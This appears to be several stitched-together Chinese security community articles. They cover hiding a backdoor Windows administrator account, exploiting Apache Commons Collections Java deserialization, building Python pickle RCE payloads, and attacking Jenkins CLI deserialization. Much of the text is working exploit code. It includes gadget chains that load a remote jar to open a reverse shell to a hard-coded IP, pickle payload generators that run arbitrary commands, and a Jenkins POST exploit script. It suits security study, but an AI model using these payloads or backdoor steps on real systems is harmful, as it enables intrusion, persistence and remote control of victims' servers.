输入 `regedit` 打开注册表编辑器，找到 `HKEY_LOCAL_MACHINE\SAM\SAM`,右键点击权限，将读写权限赋予
`administrator`
找到后门用户和 administrator 用户对应的目录
将 administrator 对应目录中的F值复制到后门用户对应目录中的F值
复制完成后，把 `defaultuser0$` 和其对应的 `0000003EA` 目录导出并保存
然后删除刚才的后门用户
net user defaultuser0$ /del
然后重新导入注册表，这样就添加了一个隐藏的用户，使用 `defaultuser0$` 和密码就能登陆为 administrator
## 事后
发现登着 tim 呢，找到 qq 号，进行亲切友好的交谈 | 社区文章 |
# JAVA Apache-CommonsCollections 序列化漏洞分析以及漏洞高级利用
|
##### 译文声明
本文是翻译文章，文章来源：iswin
原文地址：<http://www.iswin.org/2015/11/13/Apache-CommonsCollections-Deserialized-Vulnerability/>
译文仅供参考，具体内容表达以及含义原文为准。
> 本文主要讨论Apache
> CommonsCollections组件的Deserialize功能存在的问题,该问题其实在2015年1月份在国外已经被发现,直到在今年11月初才被国内相关网站发现并且在安全圈子里面迅速升温,不少安全公司已经采用批量化的程序对互联网上受影响的网站进行检测,由于CommonsCollections为Apache开源项目的重要组件,所以该组建的使用量非常大,这次主要是JBOSS,weblogic等中间件受影响,通过对漏洞的POC进行修改,可以直接控制受影响的服务器。
****
**漏洞原理分析**
该漏洞的出现的根源在CommonsCollections组件中对于集合的操作存在可以进行反射调用的方法,并且该方法在相关对象反序列化时并未进行任何校验,新版本的修复方案对相关反射调用进行了限制。
问题函数主要出现在org.apache.commons.collections.Transformer接口上,我们可以看到该接口值定义了一个方法
[](http://www.iswin.org/attach/transformer_interface.png)
我们可以看到该方法的作用是给定一个Object对象经过转换后同时也返回一个Object,我们来看看该接口有哪些实现类
[](http://www.iswin.org/attach/implements-transformer.png)
这些transformer的实现类中,我们一眼就看到了这里的InvokerTransformer,搞JAVA的对invoke这个词应该比较敏感,我们跟进这个实现类去看看具体的实现,
[](http://www.iswin.org/attach/invokeTransformer.png)
我们可以看到该该方法中采用了反射的方法进行函数调用,Input参数为要进行反射的对象(反射相关的知识就不在这赘述了),iMethodName,iParamTypes为调用的方法名称以及该方法的参数类型,iArgs为对应方法的参数,在invokeTransformer这个类的构造函数中我们可以发现,这三个参数均为可控参数
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}
那么现在核心的问题就是寻找哪些类调用了Transformer接口中的transform方法,通过eclipse我们找到了以下类调用了该方法
[](http://www.iswin.org/attach/transformermap.png)
这里我们可以看到有两个比较明显的类调用了transform方法,分别是
LazyMap
TransformedMap
****
**LazyMap构造POC**
这里对于网上给出的POC使用的是LazyMap来进行构造,其实这里TransformedMap构造更为简单,因为触发条件比较简单,后面会具体分析。
这里以网上给出的[POC](https://github.com/frohoff/ysoserial/)来进行分析,毕竟大家都在用么。
这里LazyMap实现了Map接口,其中的get(Object)方法调用了transform方法,跟进函数进去
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
这里可以看到,在调用transform方法之前会先判断当前Map中是否已经有该key,如果没有最终会由这里的factory.transform进行处理,我吗继续跟踪下facory这个变量看看该变量是再哪被初始化的,
public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
}
这里的decorate方法会对factory进行初始化,同时实例化一个LazyMap,到这里就比较有意思了。
为了能成功调用transform方法,我们找到了LazyMap方法,发现在get()方法中调用了该方法,所以说现在漏洞利用的核心条件就是去寻找一个类,在对象进行反序列化时会调用我们精心构造对象的get(Object)方法,老外在这里找到了一个方法的确能在反序列化时触发LazyMap的get(Object)方法,老外的这种精神必须佩服!
现在重点现在转移到sun.reflect.annotation.AnnotationInvocationHandler类上,我们看看在该类进行反序列化的时候究竟是如何触发漏洞代码的。
跟进sun.reflect.annotation.AnnotationInvocationHandler的源代码
[](http://www.iswin.org/attach/AnnotationInvocationHandler.png)
在反序列的时候程序首先会调用调用readObject这个方法,我们首先看看这个readObject方法
[](http://www.iswin.org/attach/readObject.png)
这里的memberValues是我们通过构造AnnotationInvocationHandler
构造函数初始化的变量,也就是我们构造的lazymap对象,这里我们只需要找到一个memberValues.get(Object)的方法即可触发该漏洞,但是可惜的是该方法里面并没有这个方法。
到这里,在老外给的POC里面,有一个Proxy.newInstance(xx)的方法,很多人可能不太明白老外为什么这里需要用到动态代理,这里也就是POC的精华之处了,我们在readObject方法中并未找到lazymap的get方法,但是我们继续在sun.reflect.annotation.AnnotationInvocationHandler类里面找看看那个方法调用了memberValues.get(Object)方法,很幸运我们发现在invoke方法中memberValues.get(Object)被调用
[](http://www.iswin.org/attach/invoke-poc.png)
这里大家应该能明白老外为什么要用动态代理来进行构造POC了,因为AnnotationInvocationHandler默认实现了InvocationHandler接口,在用Object
iswin=Proxy.newInstance(classloader,interface,InvocationHandler)生成动态代理后,当对象iswin在进行对象调用时,那么就会调用InvocationHandler.invoke(xx)方法,所以POC的执行流程为map.xx->proxy(Map).invoke->lazymap.get(xx)
就会触发transform方法从而执行恶意代码。
这里的ChainedTransformer为链式的Transformer,会挨个执行我们定义的Transformer,这里比较简单,有兴趣自己去看源码就知道。
**TransformedMap构造POC
**
这里如果使用TransformedMap来进行POC的构造就非常简单了,我们跟进TransformedMap的checkSetValue方法
protected Object checkSetValue(Object value) {
return valueTransformer.transform(value);
}
我们继续看checkSetValue被那个函数所调用,在MapEntry类中的setValue恰好调用了checkSetValue,这里直接触发了tranform函数,用TransformedMap来构造POC为什么说比LazyMap好呢,那是因为这里触发的条件比较简单,我们可以在sun.reflect.annotation.AnnotationInvocationHandler中的readObject(xxx)
[](http://www.iswin.org/attach/readObject.png)
这里我们明显可以看到memberValue.setValue(xxx)方法,所以我们只需要构造一个不为空的TransformedMap,在AnnotationInvocationHandler.readObject(xx)事就会触发漏洞,需要注意,这里的触发的类为AnnotationInvocationHandler,在触发漏洞事会对type进行检查,所以在transformer的时候我们要讲type设置为annotation类型。
所以这里POC执行流程为TransformedMap->AnnotationInvocationHandler.readObject()->setValue()->checkSetValue()漏洞成功触发。
**利用代码**
import java.io.File;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
import java.util.Map.Entry;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
/**
* @ClassName: Main.java
* @Description: TODO
* @author iswin
* @email [email protected]
* @Date 2015年11月8日 下午12:12:13
*/
public class Main {
public static Object Reverse_Payload(String execArgs) throws Exception {
final Transformer[] transforms = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class,
Class[].class }, new Object[] { "getRuntime",
new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class,
Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class },
execArgs), new ConstantTransformer(1) };
Transformer transformerChain = new ChainedTransformer(transforms);
Map innermap = new HashMap();
innermap.put("value", "value");
Map outmap = TransformedMap.decorate(innermap, null, transformerChain);
Class cls = Class
.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object instance = ctor.newInstance(Retention.class, outmap);
return instance;
}
public static void main(String[] args) throws Exception {
GeneratePayload(Reverse_Payload("cmd"),
"/Users/iswin/Downloads/test.bin");
}
public static void GeneratePayload(Object instance, String file)
throws Exception {
File f = new File(file);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
out.writeObject(instance);
out.flush();
out.close();
}
public static void payloadTest(String file) throws Exception {
// 这里为测试上面的tansform是否会触发payload
// Map.Entry onlyElement =(Entry) outmap.entrySet().iterator().next();
// onlyElement.setValue("foobar");
ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));
in.readObject();
in.close();
}
}
****
**漏洞高级利用**
现在网上给出的poc只能执行命令或者写个文件之类的,本文将介绍一种通用的漏洞利用方法,只要服务器可以出网,就可以进行任何操作,例如反弹个shell,写文件?当然还有抓鸡等。
漏洞原理什么的在上面已经分析过了,网上的POC都是调用RunTime.getRuntime().exec(“cmdxx”),很多人在问这个漏洞执行命令后能不能回显,对于回显,其实就是想办法拿到容器的response,但是非常遗憾,我在对jboss进行测试时并未找到一种方式可以获取当当前请求的response,其他容器就不清楚了,理论上只要找到一个方法可以获取到当前请求的response,那么回显就搞定了,期待有大牛来实现。
到目前为止,我们只能通过反射的方式来进行函数调用,如果要实现复杂的功能,估计构造POC会把人折磨死,所以是不是有一种通用的方法去加载我们的payload呢。
在java中有个URLClassLoader类,关于该类的作用大家自己去百度,简单说就是远程加载class到本地jvm中,说到这,我想稍微明白一点的就知道怎么做了,这里不废话了,文章写得累死了,直接给出POC吧,至于具体怎么利用,如何实现抓鸡等,明白人自然就明白。
**反弹shell**
反弹shell的原理,通过classload从我博客远程加载一个[http://www.isiwn.org/attach/iswin.jar文件,然后进行实例化,博客上的jar文件里面包含了反弹shell的脚本,将类加载到本地后实例化实例化时在构造方法中执行反弹shell的payload。](http://www.isiwn.org/attach/iswin.jar%E6%96%87%E4%BB%B6%EF%BC%8C%E7%84%B6%E5%90%8E%E8%BF%9B%E8%A1%8C%E5%AE%9E%E4%BE%8B%E5%8C%96%EF%BC%8C%E5%8D%9A%E5%AE%A2%E4%B8%8A%E7%9A%84jar%E6%96%87%E4%BB%B6%E9%87%8C%E9%9D%A2%E5%8C%85%E5%90%AB%E4%BA%86%E5%8F%8D%E5%BC%B9shell%E7%9A%84%E8%84%9A%E6%9C%AC,%E5%B0%86%E7%B1%BB%E5%8A%A0%E8%BD%BD%E5%88%B0%E6%9C%AC%E5%9C%B0%E5%90%8E%E5%AE%9E%E4%BE%8B%E5%8C%96%E5%AE%9E%E4%BE%8B%E5%8C%96%E6%97%B6%E5%9C%A8%E6%9E%84%E9%80%A0%E6%96%B9%E6%B3%95%E4%B8%AD%E6%89%A7%E8%A1%8C%E5%8F%8D%E5%BC%B9shell%E7%9A%84payload%E3%80%82)
**直接上代码**
LazyMap的实现方式
我已经对网上的poc进行了修改,修改的更加容易阅读,方便大家学习。
package ysoserial.payloads;
import java.io.File;
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
public class CommonsCollections1{
public InvocationHandler getObject(final String ip) throws Exception {
// inert chain for setup
final Transformer transformerChain = new ChainedTransformer(
new Transformer[] { new ConstantTransformer(1) });
// real chain for after setup
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(java.net.URLClassLoader.class),
// getConstructor class.class classname
new InvokerTransformer("getConstructor",
new Class[] { Class[].class },
new Object[] { new Class[] { java.net.URL[].class } }),
// newinstance string http://www.iswin.org/attach/iswin.jar
new InvokerTransformer(
"newInstance",
new Class[] { Object[].class },
new Object[] { new Object[] { new java.net.URL[] { new java.net.URL(
"http://www.iswin.org/attach/iswin.jar") } } }),
// loadClass String.class R
new InvokerTransformer("loadClass",
new Class[] { String.class }, new Object[] { "R" }),
// set the target reverse ip and port
new InvokerTransformer("getConstructor",
new Class[] { Class[].class },
new Object[] { new Class[] { String.class } }),
// invoke
new InvokerTransformer("newInstance",
new Class[] { Object[].class },
new Object[] { new String[] { ip } }),
new ConstantTransformer(1) };
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
//this will generate a AnnotationInvocationHandler(Override.class,lazymap) invocationhandler
InvocationHandler invo = (InvocationHandler) getFirstCtor(
"sun.reflect.annotation.AnnotationInvocationHandler")
.newInstance(Retention.class, lazyMap);
//generate object which implements specifiy interface
final Map mapProxy = Map.class.cast(Proxy.newProxyInstance(this
.getClass().getClassLoader(), new Class[] { Map.class }, invo));
final InvocationHandler handler = (InvocationHandler) getFirstCtor(
"sun.reflect.annotation.AnnotationInvocationHandler")
.newInstance(Retention.class, mapProxy);
setFieldValue(transformerChain, "iTransformers", transformers);
return handler;
}
public static Constructor<?> getFirstCtor(final String name)
throws Exception {
final Constructor<?> ctor = Class.forName(name)
.getDeclaredConstructors()[0];
ctor.setAccessible(true);
return ctor;
}
public static Field getField(final Class<?> clazz, final String fieldName)
throws Exception {
Field field = clazz.getDeclaredField(fieldName);
if (field == null && clazz.getSuperclass() != null) {
field = getField(clazz.getSuperclass(), fieldName);
}
field.setAccessible(true);
return field;
}
public static void setFieldValue(final Object obj, final String fieldName,
final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}
public static void main(final String[] args) throws Exception {
final Object objBefore = CommonsCollections1.class.newInstance()
.getObject("10.18.180.34:8080");
//deserialize(serialize(objBefore));
File f = new File("/Users/iswin/Downloads/payloadsfinal.bin");
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
out.writeObject(objBefore);
out.flush();
out.close();
}
}
**效果
**
[](http://www.iswin.org/attach/reverse.png)
****
**TransformedMap的实现方式**
直接上代码
import java.io.File;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
import java.util.Map.Entry;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
/**
* @ClassName: Main.java
* @Description: TODO
* @author iswin
* @email [email protected]
* @Date 2015年11月8日 下午12:12:13
*/
public class Main {
public static Object Reverse_Payload(String ip, int port) throws Exception {
final Transformer[] transforms = new Transformer[] {
new ConstantTransformer(java.net.URLClassLoader.class),
// getConstructor class.class classname
new InvokerTransformer("getConstructor",
new Class[] { Class[].class },
new Object[] { new Class[] { java.net.URL[].class } }),
// newinstance string http://www.iswin.org/attach/iswin.jar
new InvokerTransformer(
"newInstance",
new Class[] { Object[].class },
new Object[] { new Object[] { new java.net.URL[] { new java.net.URL(
"http://www.iswin.org/attach/iswin.jar") } } }),
// loadClass String.class R
new InvokerTransformer("loadClass",
new Class[] { String.class }, new Object[] { "R" }),
// set the target reverse ip and port
new InvokerTransformer("getConstructor",
new Class[] { Class[].class },
new Object[] { new Class[] { String.class } }),
// invoke
new InvokerTransformer("newInstance",
new Class[] { Object[].class },
new Object[] { new String[] { ip + ":" + port } }),
new ConstantTransformer(1) };
Transformer transformerChain = new ChainedTransformer(transforms);
Map innermap = new HashMap();
innermap.put("value", "value");
Map outmap = TransformedMap.decorate(innermap, null, transformerChain);
Class cls = Class
.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object instance = ctor.newInstance(Retention.class, outmap);
return instance;
}
public static void main(String[] args) throws Exception {
GeneratePayload(Reverse_Payload("146.185.182.237", 8090),
"/Users/iswin/Downloads/test.bin");
}
public static void GeneratePayload(Object instance, String file)
throws Exception {
File f = new File(file);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
out.writeObject(instance);
out.flush();
out.close();
}
public static void payloadTest(String file) throws Exception {
// 这里为测试上面的tansform是否会触发payload
// Map.Entry onlyElement =(Entry) outmap.entrySet().iterator().next();
// onlyElement.setValue("foobar");
ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));
in.readObject();
in.close();
}
}
**漏洞检测?
**
这里提供一个poc供大家进行检测,其实就是发送一个http请求到指定ip,然后参数中带有特定特征来判断是否存在漏洞,直接观察日志就可以了。
package iswin;
import java.io.File;
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
public class CommonsCollections1 {
public InvocationHandler getObject(final String ip) throws Exception {
final Transformer transformerChain = new ChainedTransformer(
new Transformer[] { new ConstantTransformer(1) });
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(java.net.URL.class),
new InvokerTransformer("getConstructor",
new Class[] { Class[].class },
new Object[] { new Class[] { String.class } }),
new InvokerTransformer("newInstance",
new Class[] { Object[].class },
new Object[] { new String[] { ip } }),
new InvokerTransformer("openStream", new Class[] {},
new Object[] {}), new ConstantTransformer(1) };
// final Map innerMap = new HashMap();
//
// final Map lazyMap = LazyMap.decorate(new HashMap(),
// transformerChain);
// this will generate a
// AnnotationInvocationHandler(Override.class,lazymap) invocationhandler
InvocationHandler invo = (InvocationHandler) getFirstCtor(
"sun.reflect.annotation.AnnotationInvocationHandler")
.newInstance(Override.class,
LazyMap.decorate(new HashMap(), transformerChain));
final Map mapProxy = Map.class.cast(Proxy.newProxyInstance(this
.getClass().getClassLoader(), new Class[] { Map.class }, invo));
final InvocationHandler handler = (InvocationHandler) getFirstCtor(
"sun.reflect.annotation.AnnotationInvocationHandler")
.newInstance(Override.class, mapProxy);
setFieldValue(transformerChain, "iTransformers", transformers);
return handler;
}
public static Constructor<?> getFirstCtor(final String name)
throws Exception {
final Constructor<?> ctor = Class.forName(name)
.getDeclaredConstructors()[0];
ctor.setAccessible(true);
return ctor;
}
public static Field getField(final Class<?> clazz, final String fieldName)
throws Exception {
Field field = clazz.getDeclaredField(fieldName);
if (field == null && clazz.getSuperclass() != null) {
field = getField(clazz.getSuperclass(), fieldName);
}
field.setAccessible(true);
return field;
}
public static void setFieldValue(final Object obj, final String fieldName,
final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}
public static void main(final String[] args) throws Exception {
final Object objBefore = CommonsCollections1.class.newInstance()
.getObject("http://abc.333d61.dnslog.info/tangscan/iswin.jpg");
File f = new File("/Users/iswin/Downloads/hello.bin");
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
out.writeObject(objBefore);
out.flush();
out.close();
// Serializables.deserialize(Serializables.serialize(objBefore));
}
}
****
**参考资料
**
[1] :<https://github.com/frohoff/ysoserial/>
[2] :[http://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/#jboss](http://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/#jboss) | 社区文章 |
Author：bit4@[勾陈安全实验室](http://www.polaris-lab.com/)
## 0x01 Pickle的典型应用场景
一般在什么场景下需要用到Pickle？
1. 通常在解析认证token，session的时候。（如果你知道更多，欢迎留言补充，感谢！）现在很多web都使用redis、mongodb、memcached等来存储session等状态信息。P神的文章就有一个很好的redis+python反序列化漏洞的很好例子：<https://www.leavesongs.com/PENETRATION/zhangyue-python-web-code-execute.html>。
2. 可能将对象Pickle后存储成磁盘文件。
3. 可能将对象Pickle后在网络中传输。
4. 可能参数传递给程序，比如[sqlmap的代码执行漏洞](http://blog.knownsec.com/2015/12/sqlmap-code-execution-vulnerability-analysis/)
python sqlmap.py --pickled-options "Y29zCnN5c3RlbQooUydkaXInCnRSLg=="
## 0x02 如何构造Payload
**1.执行系统命令的Payload**
首先构造一个简单的包含漏洞的代码。
后续的验证过程中，将生成的Payload放到poc.pickle文件中，使用该代码来读取PoC验证效果（我将其保存为dopickle.py）。
__author__ = 'bit4'
import pickle
pickle.load(open('./poc.pickle'))
值得注意的是，pickle有`load`和`loads2`个方法，`load`需要的参数是文件句柄，`loads`所需要的参数是字符串。
pickle允许任意对象去定义一个`__reduce__`方法来申明怎么序列化这个对象。这个方法返回一个字符串或者元组来描述当反序列化的时候该如何重构。
使用os.system执行命令的payload
#!/usr/bin/env python
#coding: utf-8
__author__ = 'bit4'
import cPickle
import os
class genpoc(object):
def __reduce__(self):
s = """echo test >poc.txt""" #要执行的命令
return os.system, (s,) #os.system("echo test >poc.txt")
e = genpoc()
poc = cPickle.dumps(e)
print poc
输出内容，也就是Payload：
cnt
system
p1
(S'echo test >poc.txt'
p2
tRp3
.
我们将如上生成的pyload放到poc.pickle文件中，然后执行验证代码dopickle.py，成功执行了"`echo test
>poc.txt`"。
现在问题来了，如何在实际的web环境中使用这些payload呢？
我们先实现一个简单的httpserver（dopicklehttpserver.py）：
#coding:utf-8
__author__ = 'bit4'
import BaseHTTPServer
import urllib
import cPickle
class ServerHandler(BaseHTTPServer.BaseHTTPRequestHandler):
def do_GET(self):
if "?payload" in self.path:
query= urllib.splitquery(self.path)
action = query[1].split('=')[1] #这种写法是一个坑，如果参数payload的值中包含了等号，将导致不正确，pickle将报“insecure string pickle”错误。
#action = query[1].replace("payload=","") #这种写法可以避免=的问题，但实际的项目中肯定不是这么写，求指教~
print action
try:
x = cPickle.loads(action) #string argv
content = x
except Exception,e:
print e
content = e
else:
content = "hello World"
self.send_response(200)
self.send_header("Content-type","text/html")
self.end_headers()
self.wfile.write("<html>")
self.wfile.write(" %s " % content)
self.wfile.write("</html>")
if __name__ == '__main__':
srvr = BaseHTTPServer.HTTPServer(('',8000), ServerHandler)
print 'started httpserver...'
srvr.serve_forever()
运行以上代码后，通过如下URL访问web，传递Payload给服务器。
127.0.0.1:8000/?payload=xxxx
怎么将Payload放到参数中呢，一个直接的想法是使用`\n`来换行、使用url编码，Payload如下:
使用\n代替
cnt\nsystem\np1\n(S'echo test >poc.txt'\np2\ntRp3\n.
使用URl编码（换行符是%0A）
cnt%0Asystem%0Ap1%0A(S'echo test >poc.txt'%0Ap2%0AtRp3%0A.
使用URl编码（换行符是%0d%0a）
cnt%0d%0asystem%0d%0ap1%0d%0a(S%27echo+test+%3epoc.txt%27%0d%0ap2%0d%0atRp3%0d%0a
经过测试，第二种，使用%0A做换行符的是有效的payload，得到了成功执行。（但其实想想也该是它，作为url中的参数，当然该使用url编码啊）
http://127.0.0.1:8000/?payload=cnt%0Asystem%0Ap1%0A(S%27echo%20test%20>poc.txt%27%0Ap2%0AtRp3%0A.
在PHP中还有有一种比较常见的思路，通过base64编码后传递，如下这种，那我们可以在python中借鉴。这部分内容包含在了“执行任意python代码的payload”小节中。
http://www.xxx.com?path=php://filter/write=convert.base64-decode/resource=1.php
**2.执行任意python代码执行payload**
我们的目标是实现任意代码执行，所以我们要序列化的对象成了code类型，但是pickle是不能序列化code对象的。
但幸运的是，从python2.6起，包含了一个可以序列化code对象的模块`--Marshal`。由于python可以在函数当中再导入模块和定义函数，所以我们可以将自己要执行的代码都写到一个函数里`foo()`，
所以有了如下代码：
__author__ = 'bit4'
import marshalimport base64
def foo():#you should write your code in this function
import os
def fib(n):
if n <= 1:
return n
return fib(n-1) + fib(n-2)
print 'fib(10) =', fib(10)
os.system('echo anycode >>poc.txt')
print base64.b64encode(marshal.dumps(foo.func_code))
#print cPickle.dumps(foo.func_code) #TypeError: can't pickle code objects
想要这段输出的base64的内容得到执行，我们需要如下代码：
(types.FunctionType(marshal.loads(base64.b64decode(code_enc)), globals(), ''))()
写得更容易阅读点：
code_str = base64.b64decode(code_enc)
code = marshal.loads(code_str)
func = types.FunctionType(code, globals(), '')
func()
把这段代码转换成pickle后的格式，需要了解pickle的数据格式和指令。详细的转换过程可以参考：<https://www.cs.uic.edu/~s/musings/pickle/>
1. c：读取新的一行作为模块名module，读取下一行作为对象名`object`，然后将`module.object`压入到堆栈中。
2. (：将一个标记对象插入到堆栈中。为了实现我们的目的，该指令会与t搭配使用，以产生一个元组。
3. t：从堆栈中弹出对象，直到一个“(”被弹出，并创建一个包含弹出对象（除了“(”）的元组对象，并且这些对象的顺序必须跟它们压入堆栈时的顺序一致。然后，该元组被压入到堆栈中。
4. S：读取引号中的字符串直到换行符处，然后将它压入堆栈。
5. R：将一个元组和一个可调用对象弹出堆栈，然后以该元组作为参数调用该可调用的对象，最后将结果压入到堆栈中。
6. .：结束pickle。
最终的可以执行任意代码的payload生成器（第一种）,`foo()`函数中的部分是你应该自己编写替换的代码：
def foo():#you should write your code in this function
import os
def fib(n):
if n <= 1:
return n
return fib(n-1) + fib(n-2)
print 'fib(10) =', fib(10)
os.system('echo anycode >>poc.txt')
print """ctypes
FunctionType
(cmarshal
loads
(cbase64
b64decode
(S
tRtRc__builtin__
globals
(tRS''
tR(tR.""" % base64.b64encode(marshal.dumps(foo.func_code))
将以上代码生成的payload分别用于dopickle.py和dopicklehttpserver.py中进行测试。均成功执行命令。
注意：这里有一个坑，如上的dopicklehttpserver.py写法中，如果生成的payload中有等号（base64经常有等号），将导致参数获取不正确，而`pickle.loads()`的时候，
pickle将报“`insecure string pickle`”错误。
如何正确从请求中获取参数，请知道的大侠留言告诉我。
除此之外还有另外一种思路：<https://gist.github.com/freddyb/3360650>
使用eval函数，但是它的一个限制是只接受表达式，不能包含函数和类的声明。（使用pickle序列化后的代码对象就达到了要求？？？）
执行任意代码的payload生成器（第二种）：
try:
import cPickle as pickle
except ImportError:
import pickle
from sys import argv
def picklecompiler(sourcefile):
sourcecode = file(sourcefile).read()
return "c__builtin__\neval\n(c__builtin__\ncompile\n(%sS'<payload>'\nS'exec'\ntRtR." % (pickle.dumps( sourcecode )[:-4],)
def usage():
print '''usage: python %s filename''' % argv[0]
if __name__ == "__main__":
if len(argv) == 2:
print picklecompiler(argv[1])
else:
usage()
对以上代码生成的payload进行了测试，也只是成功执行了未包含函数和类的python代码，包含函数和类的则为执行成功。
**3.终极payload生成器**
参考：
<http://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_WP.pdf>
老外写的一个payload生成工具，地址为<https://github.com/sensepost/anapickle>
该工具中包含了大量的成熟payload，有了以上知识，不难理解其中的代码，也可以自己进行修改了。
## 0x03 参考
* <http://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_WP.pdf>
* <https://blog.nelhage.com/2011/03/exploiting-pickle/>
* <https://www.leavesongs.com/PENETRATION/zhangyue-python-web-code-execute.html>
* <https://www.cs.uic.edu/~s/musings/pickle/>
* <https://github.com/sensepost/anapickle>
* <https://lincolnloop.com/blog/playing-pickle-security/>
* <https://www.kevinlondon.com/2015/08/15/dangerous-python-functions-pt2.html>
* <https://www.kevinlondon.com/2015/07/26/dangerous-python-functions.html>
* <https://www.cigital.com/blog/python-pickling/>
* <https://github.com/sensepost/anapickle>
* <https://gist.github.com/freddyb/3360650>
* <http://blog.knownsec.com/2015/12/sqlmap-code-execution-vulnerability-analysis/> | 社区文章 |
Jenkins的反序列化漏洞，攻击者使用该漏洞可以在被攻击服务器执行任意代码，漏洞利用不需要任何的权限。
曝光地址:<https://blogs.securiteam.com/index.php/archives/3171>
影响的范围：
影响低于 2.56 的所有 Jenkins 主线版本
影响低于 2.46.1 的所有 Jenkins LTS 版本
实际操作:
1. 利用老外文章的代码，导出成payload.jar包，用来生成攻击用的payload文件。可以自定义需要执行的命令：
Jar下载地址:
<https://codeload.github.com/nobleXu/jenkins/zip/master>
java -jar payload.jar jenkins_poc1.ser “/usr/bin/touch /tmp/jenkinsTestNxadmin”
然后利用老外提供的python脚本向jenkins服务器提交post请求，就可以成功在被攻击服务器/tmp目录下生成文件。也可以使用dnslog之类的来测试，如图：
[
2、修改jenkins_poc1.py中第13行的URL参数，改为你要攻击的靶机
**jenkins_poc1.py 下载链接:<https://pan.baidu.com/s/1misPilU> 密码: 6qqh**
具体代码如下
import urllib
import requests
import uuid
import threading
import time
import gzip
import urllib3
import zlib
proxies = {
# 'http': 'http://127.0.0.1:8090',
# 'https': 'http://127.0.0.1:8090',
}
URL='http://192.168.0.1/cli'
PREAMLE='<===[JENKINS REMOTING CAPACITY]===>rO0ABXNyABpodWRzb24ucmVtb3RpbmcuQ2FwYWJpbGl0eQAAAAAAAAABAgABSgAEbWFza3hwAAAAAAAAAH4='
PROTO = '\x00\x00\x00\x00'
FILE_SER = open("jenkins_poc1.ser", "rb").read()
def download(url, session):
headers = {'Side' : 'download'}
headers['Content-type'] = 'application/x-www-form-urlencoded'
headers['Session'] = session
headers['Transfer-Encoding'] = 'chunked'
r = requests.post(url, data=null_payload(),headers=headers, proxies=proxies, stream=True)
print r.text
def upload(url, session, data):
headers = {'Side' : 'upload'}
headers['Session'] = session
headers['Content-type'] = 'application/octet-stream'
headers['Accept-Encoding'] = None
r = requests.post(url,data=data,headers=headers,proxies=proxies)
def upload_chunked(url,session, data):
headers = {'Side' : 'upload'}
headers['Session'] = session
headers['Content-type'] = 'application/octet-stream'
headers['Accept-Encoding']= None
headers['Transfer-Encoding'] = 'chunked'
headers['Cache-Control'] = 'no-cache'
r = requests.post(url, headers=headers, data=create_payload_chunked(), proxies=proxies)
def null_payload():
yield " "
def create_payload():
payload = PREAMLE + PROTO + FILE_SER
return payload
def create_payload_chunked():
yield PREAMLE
yield PROTO
yield FILE_SER
def main():
print "start"
session = str(uuid.uuid4())
